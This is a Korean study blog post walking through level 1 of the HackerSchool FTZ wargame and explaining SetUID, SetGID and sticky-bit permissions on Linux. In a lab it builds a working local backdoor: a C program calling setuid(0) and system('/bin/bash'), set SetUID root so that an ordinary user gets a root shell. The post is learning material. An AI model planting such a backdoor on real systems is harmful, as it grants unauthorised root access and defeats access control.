[목차]
1. 문제 소개
2. 문제 목표
3. 백도어 소개
4. 요구 지식
5. 풀이 과정
6. 요구 지식 설명
[문제 소개]
HackMe(ftz.hackershool.org)
다음 내용은 "문제풀이로 배우는 시스템 해킹 테크닉" 책에 대한 내용을 공부 목적으로 만든것입니다. 따라서, 상업적으로 사용하지 않는 경우 문서 배포가 가능합니다. 인터넷상에 제공해 주신 많은 문서들에 대해 감사드립니다.
문제 풀이에 대한 부분은 아래 사이트를 참고 하시기 바랍니다. 또한 많은 사이트에서 문제 풀이에 대한 부분을 검색해 보실수 있습니다.
http://inhack.org/wordpress/?cat=68
리버싱에 대한 자세한 공부 사이트는 다음과 같습니다. 반드시 참고하시기 바랍니다.
http://www.codeengn.com/ ((Google Search) site:codeengn.com intext:index.of.)
[문제 목표]
해당 문제 해결 과정을 통해
백도어(Backdoor)에 대한 이해를 할 수 있다.
[백도어 소개]
1. 멀웨어(Malware 악성 소프트웨어) 종류 중 하나
* 바이러스
* 백도어
* 스파이웨어/애드웨어
* 기타
2. 백도어란?
* 시스템에 대한 사용자 인증등 정상적인 절차를 거치지 않고
응용프로그램 또는 시스템에 접근할 수 있는 프로그램 코드.
사용자가 시스템 보안 헛점을 응용하여 프로그램을 제작해 사용
(EX) reverse_tcp, bind_tcp
3. 백도어의 종류
패스워드 크래킹 백도어
Rhosts + + 백도어
Checksum과 Timestamp 백도어
Login 백도어
Telnetd 백도어
Services 백도어
Cronjob 백도어
Library 백도어
Kernel 백도어
파일 시스템 백도어
Bootblock 백도어
프로세스 은닉 백도어(Process hiding backdoors)
루트킷(Rootkit)
네트워크 트래픽 백도어(Network traffic backdoors)
TCP 쉘 백도어
UDP 쉘 백도어
ICMP 쉘 백도어
암호화된 링크
Windows NT
[참고] http://tip.daum.net/openknow/38942934
[요구 지식]
1. 메모리 구조에 대한 이해
2. C 언어 구조 및 사용법에 대한 이해
(참고) takudaddy.tistory.com/242?category=838109
3. Linux 기본 명령어에 대한 이해
4. 특수 퍼미션 SetUID / SetGID/Sticky Bit 에 대한 이해
5. gdb (GNU debugger) 기본 사용법
[풀이 과정]
① level1 사용자로 로그인
HackMe 시스템에 putty를 통해 telnet 접속을 한다.
ID/PASS: level1/level1
② 파일 & 디렉토리 퍼미션 확인
[level1@ftz level1]$ cd
[level1@ftz level1]$ ls -ld
drwxr-xr-x 4 root level1 4096 2월 11 12:28 . |
*level1 그룹에 속한 사용자는 r-x 퍼미션을 갖는다.
/home/level1 디렉토리 안의 파일이나 디렉토리는 삭제가 불가능하다.
[level1@ftz level1]$ ls -l
-rw-r--r-- 1 root root 47 Apr 4 2000 hint drwxr-xr-x 2 root level1 4096 Dec 7 2003 public_html drwxrwxr-x 2 root level1 4096 Aug 19 21:45 tmp |
/home/level1/tmp 디렉토리가 level1 사용자가 사용하는 작업 디렉토리이다.
③ hint 파일 확인
[level1@ftz level1]$ cat hint
level2 권한에 setuid가 걸린 파일을 찾는다.
|
(힌트 정보 분석)
- SetUID 파일을 찾아야 한다.
- SetUID 파일을 찾을 때 find 명령어를 사용한다.
(요구 지식)
- find 명령어 사용법
- SetUID/SetGUD/Sticky Bit
* 요구 지식에 대한 설명은 문제 풀이 아래에 별도로 기록해 두었다.
④ SetUID 파일 검색
[level1@ftz level1]$ find / -user level2 -perm -4000 2>/dev/null
/bin/ExecuteMe |
[level1@ftz level1]$ ls -l /bin/ExecuteMe
-rwsr-x--- 1 level2 level1 12868 Aug 19 13:01 /bin/ExecuteMe |
* level 1의 권한으로 실행 가능
⑤ 검색된 파일을 실행시켜 본다.
[level1@ftz level1]$ id
uid=3001(level1) gid=3001(level1) groups=3001(level1) |
[level1@ftz level1]$ /bin/ExecuteMe
레벨2의 권한으로 당신이 원하는 명령어를 한가지 실행시켜 드리겠습니다. (단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ bash
[level2@ftz level2]$ my-pass
Level2 Password is "hacker or cracker".
|
위 프로그램이 실행되는 동안은 level2의 권한으로 실행된다.
[용어] hacker
■ White hacker(hacker)
■ Black hacker(cracker)
■ Gray hacker(Pentester)
# ps
# ps –l (ppid 번호 확인)
# pstree –alup PID번호 (bash 실행 및 권한 구조 확인)
⑥ level2 암호가 맞는지 확인
[level1@ftz level2]$ exit
[level1@ftz level1]$ telnet localhost
level2/hacker or cracker
[level2@ftz level2]$ exit
[level1@ftz level1]$
[요구 지식 설명]
1. find 명령어
* Linux 기본 명령어 예 : find CMD
# find / -name core -type [f|d]
# find / -user level2 -group level2
# find / -mtime [-7|7|+7]
# find / -size [-200|200|+200][c|K|M]
# find / -perm [-755|755|+755]
# find / -name core -type f -exec rm -f {} \;
2. 특수퍼미션(SetUID/SetGID/Sticky Bit) 대해서
프로그램이 실행되는 동안에 권한을 넘을 때 사용하는 특수한 시스템
ex) mount 명령어
권한 상승때 사용.
■ 사용시스템
linux
■ 파일의 속성 정보 변경
# ls -l file1
-rw-r--r-- 1 root root 0 Aug 21 19:28 file1
======================================
- 파일의 종류(-/d/b/c/l/s/p/D) =>
rw-r--r-- 파일의 퍼미션(rw-(사용자), r--(그룹), r--(other)) => chmod CMD
1 링크 카운트 => ln CMD
root 소유권 => chown CMD
root 그룹권 => chgrp CMD
0 사이즈(크기), bytes =>
Aug 21 19:28 mtime(Modify time) => touch -t CMD
file1 파일이름 => mv CMD
=======================================
■ chmod CMD
퍼미션 변경 방법
옥탈모드(Octal Mode) # chmod 755 file1
심볼릭모드(Symbolic Mode) # chmod u+x file1
파일과 디렉토리 퍼미션의 의미
파일 (r / w / x)
디렉토리 (r / w / x) : r(ls CMD), w(생성 & 삭제), x(cd CMD)
umask CMD(/etc/bashrc)
002 -> 022 -> 027
관리자) /etc/bashrc
사용자) ~/.bashrc
특수퍼미션(SetUID/SetGID/Sticky Bits)
의미
설정 방법
관리 방법
■ 특수퍼미션 의미(Meaning)
SetUID(SUID)
SetGID(SGID)
Sticky Bits(SBit)
■ 특수퍼미션 설정에 대해서
--------------------------------------------
File Directory
--------------------------------------------
SetUID 0 X
SetGID 0 0
StickyBit X 0
--------------------------------------------
[EX] SetUID 의미에 대한 실습
(linux) CentOS 5.X -> CentOS 7.X
[질문] 일반 사용자가 passwd 명령어를 이용하여 자신의 암호를 변경할 수 있는가?
[정보] 사용자의 암호는 /etc/shadow 파일에 들어 있기 때문에,
일반 사용자에게는 /etc/shadow 파일에 대한 write 권한이 필요하다.
# ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 2.3K Aug 19 07:51 /etc/passwd
-r-------- 1 root root 1.7K Aug 19 08:36 /etc/shadow
$ passwd
# ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 23K Aug 11 2010 /usr/bin/passwd* |
# chmod 755 /usr/bin/passwd (# chmod u-s /usr/bin/passwd)
# ls -l /usr/bin/passwd
-rwxr-xr-x 1 root root 23K Aug 11 2010 /usr/bin/passwd* |
[참고] 필요하면 명령어 수행
# useradd user01
# passwd user01
# tail /etc/passwd
# telnet localhost
user01 사용자로 로그인
$ passwd
Changing password for user user01. Changing password for user01 (current) UNIX password: (user01) passwd: Authentication token manipulation error |
$ exit
# passwd user01
Changing password for user user01. New UNIX password: (user01) BAD PASSWORD: it is based on a dictionary word Retype new UNIX password: (user01) passwd: all authentication tokens updated successfully. |
# chmod 4755 /usr/bin/passwd
# ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 23K Aug 11 2010 /usr/bin/passwd* |
[질문] 일반적으로 SetUID 파일이 왜 필요한가?
일반사용자가 자신의 권한을 넘어서 어떠한 동작을 해야 하는 경우가 존재해서, 만들어진 개념이다.
관리자(EX: root)는 이런 개념이 필요없다.
대표적인 SetUID 개념을 사용하는 프로그램 종류는 다음과 같다.
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/chsh
[EX] SetUID/SetGID 기본 개념 실습
(선수작업) user01, fedora 사용자 존재 확인 및 추가작업
# egrep 'user01|fedora' /etc/passwd
# useradd fedora
# passwd fedora
① user01 사용자로 /home/user01/touch 명령어 생성
[TERM1] user01 사용자의 터미널
# telnet localhost
user01 사용자로 로그인
$ chmod 775 /home/user01
$ cp /bin/touch /home/user01
$ ls -l
-rwxr-xr-x 1 user01 user01 42284 3월 17 01:20 touch |
원본 파일과 복사본 권한 비교
/bin/touch (rwxr-xr-x 1 root root)
/home/user01/touch (rwxr-xr-x 1 user01 user01)
$ ./touch file1 ($ /home/user01/touch file1)
$ ls -l
-rw-rw-r-- 1 user01 user01 0 3월 17 01:20 file1 -rwxr-xr-x 1 user01 user01 42284 3월 17 01:20 touch |
/home/user01 (rwxrwxr-x user01 user01)
user01 아래 file1((0)생성가능)
$ chmod 4755 touch
$ ls -l
-rw-rw-r-- 1 user01 user01 0 3월 17 01:20 file1 -rwsr-xr-x 1 user01 user01 42284 3월 17 01:33 touch |
② fedora 사용자로 /home/user01/touch 명령어 실행
$ su - fedora
-> fedora 암호 입력
$ cd /home/user01
$ touch file2 ($ /bin/touch file2)
touch: cannot touch `file2': 허가 거부됨 |
/home/user01 (rwxrwxr-x user01 user01)
user01 밑에 file2((X)생성 불가능)
/bin/touch (rwxr-xr-x 1 root root)
/home/user01/touch (rwsr-xr-x 1 user01 user01)
$ ./touch file2 ($ /home/user01/touch file2)
$ ls -l
-rw-rw-r-- 1 user01 user01 0 3월 17 01:20 file1 -rw-rw-r-- 1 user01 fedora 0 3월 17 01:20 file2 -rwsr-xr-x 1 user01 user01 42284 3월 17 01:33 touch |
$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora) |
③ /home/user01/touch 파일에 SetGID 설정
$ exit
$ id
uid=501(user01) gid=501(user01) groups=501(user01) |
-> user01 사용자 확인
$ chmod 2755 touch (rwxr-xr-x -> rwxr-sr-x)
$ ls -l touch
-rwxr-sr-x user01 user01 size mtime touch |
④ fedora 사용자로 /home/user01/touch 명령어 실행
$ su - fedora
-> fedora 사용자 암호 입력
$ cd /home/user01
$ ./touch file3 ($ /home/user01/touch file3)
$ ls -l
-rw-rw-r-- 1 user01 user01 0 Apr 21 15:59 file1 -rw-rw-r-- 1 user01 fedora 0 Apr 21 16:02 file2 -rw-rw-r-- 1 fedora user01 0 Apr 21 16:04 file3 -rwxr-sr-x 1 user01 user01 42284 Apr 21 15:59 touch |
/home/user01 (rwxrwxr-x user01 user01)
user01 및에 file3((0)생성가능)
$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora) |
$ exit
$ exit
#
[EX] bash쉘의 SetUID 권한 부여
① /bin/bash 명령어를 /test/bash로 복사
[TERM1] root 사용자 터미널
# mkdir -p /test && cd /test && rm -rf /test/*
# ls -l /bin/bash
-rwxr-xr-x 1 root root 735004 Jan 22 2009 /bin/bash |
# cp /bin/bash /test
# ls -l bash
-rwxr-xr-x 1 root root 735004 Feb 11 09:06 bash |
원본 쉘과 복사본 쉘 권한 비교
/bin/bash (-rwxr-xr-x 1 root root 719K Jul 22 2011 /bin/bash*)
/test/bash (-rwxr-xr-x 1 root root 719K Jan 13 11:33 bash*)
② 복사된 쉘(EX: /test/bash) 실행
# bash (# /bin/bash)
#
# ps
PID TTY TIME CMD 5233 pts/1 00:00:00 bash 5613 pts/1 00:00:00 bash |
# pstree -apl 5233 (# pstree -anp 5233)
bash───bash───pstree |
# exit
exit |
# ./bash (# /test/bash)
#
# ps
PID TTY TIME CMD 5233 pts/1 00:00:00 bash 5688 pts/1 00:00:00 bash |
# exit
③ /test/bash 명령어에 SetUID 설정
# chmod 4755 bash
# ls -l bash
-rwsr-xr-x 1 root root 735004 Feb 11 09:06 bash |
④ fedora 사용자로 /test/bash 명령어 실행
[TERM2] fedora 사용자의 터미널
# su - fedora
$ cd /test
$ ls -l bash
-rwsr-xr-x 1 root root 735004 Feb 11 09:06 bash |
$ ./bash ($ /test/bash)
# 으로 실행되는지 확인! X
* 중요!
bash shell만
setuid 걸면 관리자 권한으로 실행 안된다.
취약점 악용사례가 빈번해 그걸 방지하려고
프로그램 안에 방지 구문이 들어가 있다.
권한 상승 전 검사하는 코드를 등록해 놨음.
이 처리를 우회하는 방법을 익히자.
$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora) |
$ exit
$ exit
#
⑤ 백도어 파일 생성
[참고] gcc 프로그램 설치가 되어 있지 않으면
# which gcc
# rpm -qa | grep gcc
# yum install gcc (# yum -y install gcc)
[TERM1] root 사용자의 첫번째 터미널
# vi ~/.vimrc
set ts=4 |
# cd /test
# vi backdoor.c /* 함수를 이용하여 프로그램 내에서 쉘을 실행 시키는 것 */ 공격구문
#include <sys/types.h> #include <unistd.h> #include <stdlib.h>
main() { //system("/bin/bash"); bin 밑에 배쉬쉘 실행하라는 뜻 //system("ls -l | grep back*"); 실험
setuid(0); /* int setuid(uid_t uid); */ setgid(0); /* int setgid(gid_t gid); */ system("/bin/bash"); /* int system(const char *command); */ } |
관리자 권한으로 위 프로그램을 실행시켜라!
# man setuid
DESCRIPTION
setuid() sets the effective user ID of the current process. If the
effective UID of the caller is root, the real UID and saved set-
user-ID are also set.
# man setgid
DESCRIPTION
getgid() returns the real group ID of the current process.
getegid() returns the effective group ID of the current process.
# man system
DESCRIPTION
system() executes a command specified in command by calling /bin/sh
-c command, and returns after the command has been completed. Dur-
ing execution of the command, SIGCHLD will be blocked, and SIGINT
and SIGQUIT will be ignored.
[참고] 필요하면 명령어 수행
# yum -y install gcc
# gcc -o bashshell backdoor.c
# ls -l bashshell
-rwxr-xr-x 1 root root 4934 Feb 11 09:22 bashshell |
# file /bin/ls
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), stripped |
ELF = 유닉스 리눅스에서 사용하는 실행 파일 형식
# file /test/bashshell
/test/bashshell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), not stripped |
⑥ fedora 사용자로 /test/bash 명령어 실행
[TERM2] fedora 사용자 터미널
# telnet localhost
-> fedora 사용자로 로그인
$ cd /test
$ ls -l bashshell
-rwxr-xr-x 1 root root 4934 Feb 11 09:22 bashshell |
$ ./bashshell
$ ps
PID TTY TIME CMD 7195 pts/2 00:00:00 bash 7226 pts/2 00:00:00 bashshell 7227 pts/2 00:00:00 bash 7249 pts/2 00:00:00 ps |
$ pstree -alup 7195
bash───bashshell───bash───pstree |
$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora) |
$ exit
$
bashshell은 setuid 걸어도 권한 상승이 안되는 것을 알았으니
그 해결책으로 나온 방법이 바로 bash를 프로그램으로 감싸 실행시키는 것.
bash를 실행 프로그램 내부에서 실행시킨다.
⑦ /test/bashshell 명령어에 SetUID 설정
[TERM1] root 사용자 터미널
# cd /test
# chmod 4755 bashshell (bashshell이 아니라 bashsell을 감싸는 프로그램에 setuid를 줬다)
# ls -l bashshell
-rwsr-xr-x 1 root root 4934 Feb 11 09:22 bashshell |
⑧ fedora 사용자 터미널에서 /test/bashshell 명령어 실행
[TERM2] fedora 사용자의 터미널
$ ./bashshell (이전엔 자기가 프로그램을 실행한 것. 하지만 이번엔)
# id
uid=0(root) gid=0(root) groups=500(fedora) |
(1차 시도) /test/bash
# chmod 4755 bash
# su - feodora
$ /test/bash
$
(2차 시도) /test/bash
# vi backdoor.c
-> setuid(0), setgid(0), system("/bin/bash")
# gcc -o backdoor backdoor.c
# chmod 4755 backdoor
# su - fedora
$ /test/backdoor
#
⑨ fedora 사용자로 테스트
/test |
# ps –l
# pstree –alup ppid 번호
[출처]
솔데스크 백승찬 강사님
'WEB 진단 > WarGame' 카테고리의 다른 글
해커스쿨 BOF 원정대 : 개요 및 Level1 풀기 (0) | 2020.12.21 |
---|---|
해커스쿨 Hackme FTZ 문제: Level8~Level20 (Lv16까지 진행) (0) | 2020.12.16 |
해커스쿨 Hackme FTZ 문제 Level5- level7(백도어 in 리버스 엔지니어링) (0) | 2020.12.08 |
해커스쿨 Hackme FTZ 문제 Level2 - level4 (백도어 in 리버스 엔지니어링) (0) | 2020.12.08 |
OverTheWire의 Bandit 워게임: Lv1 - Lv20 (0) | 2020.12.02 |